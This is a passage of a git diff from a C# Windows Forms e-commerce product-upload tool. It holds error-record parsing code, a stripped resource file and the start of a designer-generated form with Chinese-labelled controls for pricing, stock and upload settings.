UploadErrorParam() + { + cat_id = BaseRegex.GetStringJson(ref objStr, "cat_id"), + message = BaseRegex.GetStringJson(ref objStr, "message"), + product_id = BaseRegex.GetStringJson(ref objStr, "product_id"), + source_id = BaseRegex.GetStringJson(ref objStr, "source_id"), + addtime = Convert.ToDateTime(BaseRegex.GetStringJson(ref objStr, "addtime")), + update_time = Convert.ToDateTime(BaseRegex.GetStringJson(ref objStr, "update_time")), + }; + var cat = Fission.goodsCategoryList.FirstOrDefault(c => c.id.ToString() == err.cat_id); + string catName = "^" + cat?.name; + if (cat != null && cat.name != "全部分类") + { + var parentCat = cat; + while (parentCat != null && parentCat.parent_cid != 0) + { + parentCat = Fission.goodsCategoryList.FirstOrDefault(mc => mc.id == parentCat.parent_cid); + catName = "^" + parentCat.name + catName; + } + } + err.cat_name = catName.Trim('^'); + + if (lstUploadErrorParam.Any(r => r.cat_id == err.cat_id && r.product_id == err.product_id && r.message == err.message)) + continue; + + lstUploadErrorParam.Add(err); + + Invoke(new Action(() => + { + if (err.update_time > DateTime.Now.Date /*&& err.message.Contains("类目属性")*/) + this.dgvError.Rows.Add(false, err.addtime, err.update_time, err.cat_id, err.cat_name, err.source_id, + err.product_id, err.message, err.remark, err.is_repair); + })); + } + + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("upload_product_error_data", lstUploadErrorParam); + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/UploadProductErrorForm.resx b/TEMUKJD/KJDForms/UploadForms/UploadProductErrorForm.resx new file mode 100644 index 0000000..f0274b6 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadProductErrorForm.resx @@ -0,0 +1,150 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/UploadProductForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/UploadProductForm.Designer.cs new file mode 100644 index 0000000..37cb9b5 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadProductForm.Designer.cs @@ -0,0 +1,3251 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class UploadProductForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.chkSaveUploadFailed = new System.Windows.Forms.CheckBox(); + this.waitButton = new DevComponents.DotNetBar.PanelEx(); + this.ucTabControlMetro1 = new PinBaoBao.UserControls.UcTabControlMetro(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.chkShopFissionUpload = new System.Windows.Forms.CheckBox(); + this.chkDelFirstContentPic = new System.Windows.Forms.CheckBox(); + this.cmbDelMainPic = new System.Windows.Forms.ComboBox(); + this.chkDelMainPic = new System.Windows.Forms.CheckBox(); + this.cmb7Day = new System.Windows.Forms.ComboBox(); + this.label23 = new System.Windows.Forms.Label(); + this.txtProductBrand = new System.Windows.Forms.TextBox(); + this.chkSaveToDraft = new System.Windows.Forms.CheckBox(); + this.label15 = new System.Windows.Forms.Label(); + this.flowLayoutPanel2 = new System.Windows.Forms.FlowLayoutPanel(); + this.labelX1 = new DevComponents.DotNetBar.LabelX(); + this.txtMultiple = new System.Windows.Forms.TextBox(); + this.lblFromTo = new DevComponents.DotNetBar.LabelX(); + this.txtMultiple2 = new System.Windows.Forms.TextBox(); + this.label3 = new System.Windows.Forms.Label(); + this.cmbPlusOrMinus = new System.Windows.Forms.ComboBox(); + this.txtPostage = new System.Windows.Forms.TextBox(); + this.lblFromTo2 = new DevComponents.DotNetBar.LabelX(); + this.cmbPlusOrMinus2 = new System.Windows.Forms.ComboBox(); + this.txtPostage2 = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.chkRoundPrice = new System.Windows.Forms.CheckBox(); + this.chkMultiUpload = new System.Windows.Forms.CheckBox(); + this.label14 = new System.Windows.Forms.Label(); + this.txtPhone = new System.Windows.Forms.TextBox(); + this.lowPricePercenttextBox = new System.Windows.Forms.TextBox(); + this.txtStockLessThanCount = new System.Windows.Forms.TextBox(); + this.txtSingleUpload = new System.Windows.Forms.TextBox(); + this.label4 = new System.Windows.Forms.Label(); + this.beforPricetextBox = new System.Windows.Forms.TextBox(); + this.txtCustomStock = new System.Windows.Forms.TextBox(); + this.txtMinSku = new System.Windows.Forms.TextBox(); + this.label11 = new System.Windows.Forms.Label(); + this.chkMinSku = new System.Windows.Forms.CheckBox(); + this.label9 = new System.Windows.Forms.Label(); + this.chkRandomMainImage = new System.Windows.Forms.CheckBox(); + this.chkStockLessThan = new System.Windows.Forms.CheckBox(); + this.label37 = new System.Windows.Forms.Label(); + this.label26 = new System.Windows.Forms.Label(); + this.label18 = new System.Windows.Forms.Label(); + this.chkCustomStock = new System.Windows.Forms.CheckBox(); + this.comboBox5 = new System.Windows.Forms.ComboBox(); + this.lowPricecheckBox = new System.Windows.Forms.CheckBox(); + this.lowPriceAddtextBox = new System.Windows.Forms.TextBox(); + this.label32 = new System.Windows.Forms.Label(); + this.label34 = new System.Windows.Forms.Label(); + this.label24 = new System.Windows.Forms.Label(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.label2 = new System.Windows.Forms.Label(); + this.endDateTimePicker = new System.Windows.Forms.DateTimePicker(); + this.chkFuzzyMatching = new System.Windows.Forms.CheckBox(); + this.cmbNewPreTime = new System.Windows.Forms.ComboBox(); + this.cmbSendDayAfterPre = new System.Windows.Forms.ComboBox(); + this.buttonEx2 = new LittleRabbit.UserControls.ButtonEx(); + this.cmbSendType = new System.Windows.Forms.ComboBox(); + this.txtremark = new System.Windows.Forms.TextBox(); + this.label13 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.comboBox1 = new System.Windows.Forms.ComboBox(); + this.prefixTextBox = new System.Windows.Forms.TextBox(); + this.proxyCheckBox = new System.Windows.Forms.CheckBox(); + this.label8 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.cmbSendDay = new System.Windows.Forms.ComboBox(); + this.sendTime = new System.Windows.Forms.Label(); + this.label12 = new System.Windows.Forms.Label(); + this.label7 = new System.Windows.Forms.Label(); + this.lblNewPreTime = new System.Windows.Forms.Label(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.btnSetTitleRemove = new DevComponents.DotNetBar.PanelEx(); + this.btnSetBrandFilter = new DevComponents.DotNetBar.PanelEx(); + this.btnSetViolateCheck = new DevComponents.DotNetBar.PanelEx(); + this.btnSetSkuFilter = new DevComponents.DotNetBar.PanelEx(); + this.btnSetTitleFilter = new DevComponents.DotNetBar.PanelEx(); + this.chkOnlyPostFree = new System.Windows.Forms.CheckBox(); + this.chkFilterRemoveTitle = new System.Windows.Forms.CheckBox(); + this.chkFilterTMChaoShi = new System.Windows.Forms.CheckBox(); + this.chkViolateCheck = new System.Windows.Forms.CheckBox(); + this.chkFilterSku = new System.Windows.Forms.CheckBox(); + this.chkFilterTitle = new System.Windows.Forms.CheckBox(); + this.chkFilterBrand = new System.Windows.Forms.CheckBox(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.btn删除食品许可证 = new DevComponents.DotNetBar.PanelEx(); + this.btn删除包装标签图 = new DevComponents.DotNetBar.PanelEx(); + this.btn删除质检报告 = new DevComponents.DotNetBar.PanelEx(); + this.btn上传质检报告 = new DevComponents.DotNetBar.PanelEx(); + this.btn上传包装标签图 = new DevComponents.DotNetBar.PanelEx(); + this.btn上传食品许可证 = new DevComponents.DotNetBar.PanelEx(); + this.pictureBox3 = new System.Windows.Forms.PictureBox(); + this.pictureBox2 = new System.Windows.Forms.PictureBox(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.label22 = new System.Windows.Forms.Label(); + this.label21 = new System.Windows.Forms.Label(); + this.label20 = new System.Windows.Forms.Label(); + this.chkUseGlobalQualifications = new System.Windows.Forms.CheckBox(); + this.txt食品生产许可证编号 = new System.Windows.Forms.TextBox(); + this.label19 = new System.Windows.Forms.Label(); + this.txt生产企业名称 = new System.Windows.Forms.TextBox(); + this.txtBrand = new System.Windows.Forms.TextBox(); + this.label17 = new System.Windows.Forms.Label(); + this.label16 = new System.Windows.Forms.Label(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.panelEx2 = new DevComponents.DotNetBar.PanelEx(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.checkBox2 = new System.Windows.Forms.CheckBox(); + this.chkCustomCategory = new System.Windows.Forms.CheckBox(); + this.shopthreadCountTextBox = new System.Windows.Forms.ComboBox(); + this.btnUpload = new LittleRabbit.UserControls.ButtonEx(); + this.buttonEx1 = new LittleRabbit.UserControls.ButtonEx(); + this.btnUploadGood = new LittleRabbit.UserControls.ButtonEx(); + this.countLabel = new System.Windows.Forms.Label(); + this.label29 = new System.Windows.Forms.Label(); + this.lblWaitUpload = new System.Windows.Forms.Label(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.cboHour = new System.Windows.Forms.ComboBox(); + this.btnTest = new LittleRabbit.UserControls.ButtonEx(); + this.buttonEx4 = new LittleRabbit.UserControls.ButtonEx(); + this.chklogistime = new System.Windows.Forms.CheckBox(); + this.label48 = new System.Windows.Forms.Label(); + this.label10 = new System.Windows.Forms.Label(); + this.littleSkuCheckBox = new System.Windows.Forms.CheckBox(); + this.txtRatio = new System.Windows.Forms.TextBox(); + this.chkSaveToOffLine = new System.Windows.Forms.CheckBox(); + this.chkIsSetCommission = new System.Windows.Forms.CheckBox(); + this.btnGetUpId = new LittleRabbit.UserControls.ButtonEx(); + this.txtUpProduct = new System.Windows.Forms.TextBox(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colUploadCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.pnlShowError = new DevComponents.DotNetBar.PanelEx(); + this.dgvProduct = new LittleRabbit.UserComponent.DataGridViewEx(); + this.idColumn = new System.Windows.Forms.DataGridViewLinkColumn(); + this.productIdColumn = new System.Windows.Forms.DataGridViewLinkColumn(); + this.shopNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.titleColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.prcieColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.fromColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colFromFake = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.messageColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); + this.btnGo = new System.Windows.Forms.Button(); + this.label27 = new System.Windows.Forms.Label(); + this.txtGoPage = new System.Windows.Forms.TextBox(); + this.label36 = new System.Windows.Forms.Label(); + this.lblTotalPage = new System.Windows.Forms.Label(); + this.btnNext = new System.Windows.Forms.Button(); + this.lblCurrentPage = new System.Windows.Forms.Label(); + this.btnPrev = new System.Windows.Forms.Button(); + this.lblPage1 = new System.Windows.Forms.Label(); + this.AutoRefcheckBox = new System.Windows.Forms.CheckBox(); + this.canUpColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.showedColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.explodeColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.BuyAPIColumn = new System.Windows.Forms.DataGridViewLinkColumn(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewCheckBoxColumn2 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewCheckBoxColumn3 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewLinkColumn1 = new System.Windows.Forms.DataGridViewLinkColumn(); + this.shopNameColumnx = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.nameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.catNameColumnx = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.upCountColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productCountColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.messageColumnx = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.APIColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ServiceEndTimeColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.EndTimeColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.shopRemarkColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn10 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucTabControlMetro1.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.flowLayoutPanel2.SuspendLayout(); + this.tabPage2.SuspendLayout(); + this.tabPage5.SuspendLayout(); + this.tabPage3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.tabPage4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + this.flowLayoutPanel1.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.chkSaveUploadFailed); + this.splitContainer1.Panel1.Controls.Add(this.waitButton); + this.splitContainer1.Panel1.Controls.Add(this.ucTabControlMetro1); + this.splitContainer1.Panel1.Controls.Add(this.shopthreadCountTextBox); + this.splitContainer1.Panel1.Controls.Add(this.btnUpload); + this.splitContainer1.Panel1.Controls.Add(this.buttonEx1); + this.splitContainer1.Panel1.Controls.Add(this.btnUploadGood); + this.splitContainer1.Panel1.Controls.Add(this.countLabel); + this.splitContainer1.Panel1.Controls.Add(this.label29); + this.splitContainer1.Panel1.Controls.Add(this.lblWaitUpload); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1110, 647); + this.splitContainer1.SplitterDistance = 180; + this.splitContainer1.TabIndex = 2; + // + // chkSaveUploadFailed + // + this.chkSaveUploadFailed.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.chkSaveUploadFailed.AutoSize = true; + this.chkSaveUploadFailed.FlatAppearance.BorderSize = 0; + this.chkSaveUploadFailed.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkSaveUploadFailed.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkSaveUploadFailed.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkSaveUploadFailed.Location = new System.Drawing.Point(932, 61); + this.chkSaveUploadFailed.Margin = new System.Windows.Forms.Padding(2); + this.chkSaveUploadFailed.Name = "chkSaveUploadFailed"; + this.chkSaveUploadFailed.Size = new System.Drawing.Size(144, 21); + this.chkSaveUploadFailed.TabIndex = 491; + this.chkSaveUploadFailed.Text = "自动保存上货失败商品"; + this.chkSaveUploadFailed.UseVisualStyleBackColor = true; + this.chkSaveUploadFailed.CheckedChanged += new System.EventHandler(this.chkSaveUploadFailed_CheckedChanged); + // + // waitButton + // + this.waitButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.waitButton.CanvasColor = System.Drawing.SystemColors.Control; + this.waitButton.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.waitButton.DisabledBackColor = System.Drawing.Color.Empty; + this.waitButton.Location = new System.Drawing.Point(1007, 117); + this.waitButton.Name = "waitButton"; + this.waitButton.Size = new System.Drawing.Size(72, 25); + this.waitButton.Style.Alignment = System.Drawing.StringAlignment.Center; + this.waitButton.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.waitButton.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.waitButton.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.waitButton.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.waitButton.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.waitButton.Style.GradientAngle = 90; + this.waitButton.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.waitButton.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.waitButton.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.waitButton.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.waitButton.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.waitButton.TabIndex = 409; + this.waitButton.Text = "暂停"; + this.waitButton.Click += new System.EventHandler(this.waitButton_Click); + // + // ucTabControlMetro1 + // + this.ucTabControlMetro1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucTabControlMetro1.BackgroundColor = System.Drawing.Color.White; + this.ucTabControlMetro1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucTabControlMetro1.Controls.Add(this.tabPage1); + this.ucTabControlMetro1.Controls.Add(this.tabPage2); + this.ucTabControlMetro1.Controls.Add(this.tabPage5); + this.ucTabControlMetro1.Controls.Add(this.tabPage3); + this.ucTabControlMetro1.Controls.Add(this.tabPage4); + this.ucTabControlMetro1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.ucTabControlMetro1.Location = new System.Drawing.Point(2, 2); + this.ucTabControlMetro1.Multiline = true; + this.ucTabControlMetro1.Name = "ucTabControlMetro1"; + this.ucTabControlMetro1.SelectedIndex = 0; + this.ucTabControlMetro1.ShowCloseButton = false; + this.ucTabControlMetro1.Size = new System.Drawing.Size(894, 180); + this.ucTabControlMetro1.TabIndex = 183; + this.ucTabControlMetro1.TabSelectColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucTabControlMetro1.TabSelectTextColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucTabControlMetro1.TabUnSelectTextColor = System.Drawing.Color.White; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.chkShopFissionUpload); + this.tabPage1.Controls.Add(this.chkDelFirstContentPic); + this.tabPage1.Controls.Add(this.cmbDelMainPic); + this.tabPage1.Controls.Add(this.chkDelMainPic); + this.tabPage1.Controls.Add(this.cmb7Day); + this.tabPage1.Controls.Add(this.label23); + this.tabPage1.Controls.Add(this.txtProductBrand); + this.tabPage1.Controls.Add(this.chkSaveToDraft); + this.tabPage1.Controls.Add(this.label15); + this.tabPage1.Controls.Add(this.flowLayoutPanel2); + this.tabPage1.Controls.Add(this.chkRoundPrice); + this.tabPage1.Controls.Add(this.chkMultiUpload); + this.tabPage1.Controls.Add(this.label14); + this.tabPage1.Controls.Add(this.txtPhone); + this.tabPage1.Controls.Add(this.lowPricePercenttextBox); + this.tabPage1.Controls.Add(this.txtStockLessThanCount); + this.tabPage1.Controls.Add(this.txtSingleUpload); + this.tabPage1.Controls.Add(this.label4); + this.tabPage1.Controls.Add(this.beforPricetextBox); + this.tabPage1.Controls.Add(this.txtCustomStock); + this.tabPage1.Controls.Add(this.txtMinSku); + this.tabPage1.Controls.Add(this.label11); + this.tabPage1.Controls.Add(this.chkMinSku); + this.tabPage1.Controls.Add(this.label9); + this.tabPage1.Controls.Add(this.chkRandomMainImage); + this.tabPage1.Controls.Add(this.chkStockLessThan); + this.tabPage1.Controls.Add(this.label37); + this.tabPage1.Controls.Add(this.label26); + this.tabPage1.Controls.Add(this.label18); + this.tabPage1.Controls.Add(this.chkCustomStock); + this.tabPage1.Controls.Add(this.comboBox5); + this.tabPage1.Controls.Add(this.lowPricecheckBox); + this.tabPage1.Controls.Add(this.lowPriceAddtextBox); + this.tabPage1.Controls.Add(this.label32); + this.tabPage1.Controls.Add(this.label34); + this.tabPage1.Controls.Add(this.label24); + this.tabPage1.Location = new System.Drawing.Point(4, 26); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(886, 150); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " 参数设置一"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // chkShopFissionUpload + // + this.chkShopFissionUpload.AutoSize = true; + this.chkShopFissionUpload.FlatAppearance.BorderSize = 0; + this.chkShopFissionUpload.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkShopFissionUpload.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkShopFissionUpload.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkShopFissionUpload.Location = new System.Drawing.Point(408, 65); + this.chkShopFissionUpload.Margin = new System.Windows.Forms.Padding(2); + this.chkShopFissionUpload.Name = "chkShopFissionUpload"; + this.chkShopFissionUpload.Size = new System.Drawing.Size(72, 21); + this.chkShopFissionUpload.TabIndex = 491; + this.chkShopFissionUpload.Text = "单店裂变"; + this.chkShopFissionUpload.UseVisualStyleBackColor = true; + this.chkShopFissionUpload.Visible = false; + // + // chkDelFirstContentPic + // + this.chkDelFirstContentPic.AutoSize = true; + this.chkDelFirstContentPic.FlatAppearance.BorderSize = 0; + this.chkDelFirstContentPic.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkDelFirstContentPic.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkDelFirstContentPic.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkDelFirstContentPic.Location = new System.Drawing.Point(566, 8); + this.chkDelFirstContentPic.Margin = new System.Windows.Forms.Padding(2); + this.chkDelFirstContentPic.Name = "chkDelFirstContentPic"; + this.chkDelFirstContentPic.Size = new System.Drawing.Size(115, 21); + this.chkDelFirstContentPic.TabIndex = 490; + this.chkDelFirstContentPic.Text = "删除第1张详情图"; + this.chkDelFirstContentPic.UseVisualStyleBackColor = true; + // + // cmbDelMainPic + // + this.cmbDelMainPic.Font = new System.Drawing.Font("微软雅黑", 9F); + this.cmbDelMainPic.FormattingEnabled = true; + this.cmbDelMainPic.Items.AddRange(new object[] { + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10"}); + this.cmbDelMainPic.Location = new System.Drawing.Point(465, 6); + this.cmbDelMainPic.Margin = new System.Windows.Forms.Padding(0); + this.cmbDelMainPic.Name = "cmbDelMainPic"; + this.cmbDelMainPic.Size = new System.Drawing.Size(38, 25); + this.cmbDelMainPic.TabIndex = 473; + this.cmbDelMainPic.Text = "1"; + // + // chkDelMainPic + // + this.chkDelMainPic.AutoSize = true; + this.chkDelMainPic.FlatAppearance.BorderSize = 0; + this.chkDelMainPic.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkDelMainPic.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkDelMainPic.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkDelMainPic.Location = new System.Drawing.Point(408, 8); + this.chkDelMainPic.Margin = new System.Windows.Forms.Padding(2); + this.chkDelMainPic.Name = "chkDelMainPic"; + this.chkDelMainPic.Size = new System.Drawing.Size(60, 21); + this.chkDelMainPic.TabIndex = 472; + this.chkDelMainPic.Text = "删除第"; + this.chkDelMainPic.UseVisualStyleBackColor = true; + // + // cmb7Day + // + this.cmb7Day.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cmb7Day.FormattingEnabled = true; + this.cmb7Day.Items.AddRange(new object[] { + "不支持7天无理由", + "支持7天无理由", + "支持7天无理由(拆封后不支持)"}); + this.cmb7Day.Location = new System.Drawing.Point(387, 34); + this.cmb7Day.Margin = new System.Windows.Forms.Padding(2); + this.cmb7Day.Name = "cmb7Day"; + this.cmb7Day.Size = new System.Drawing.Size(336, 25); + this.cmb7Day.TabIndex = 464; + this.cmb7Day.Text = "支持7天无理由(拆封后不支持)"; + // + // label23 + // + this.label23.AutoSize = true; + this.label23.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label23.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), 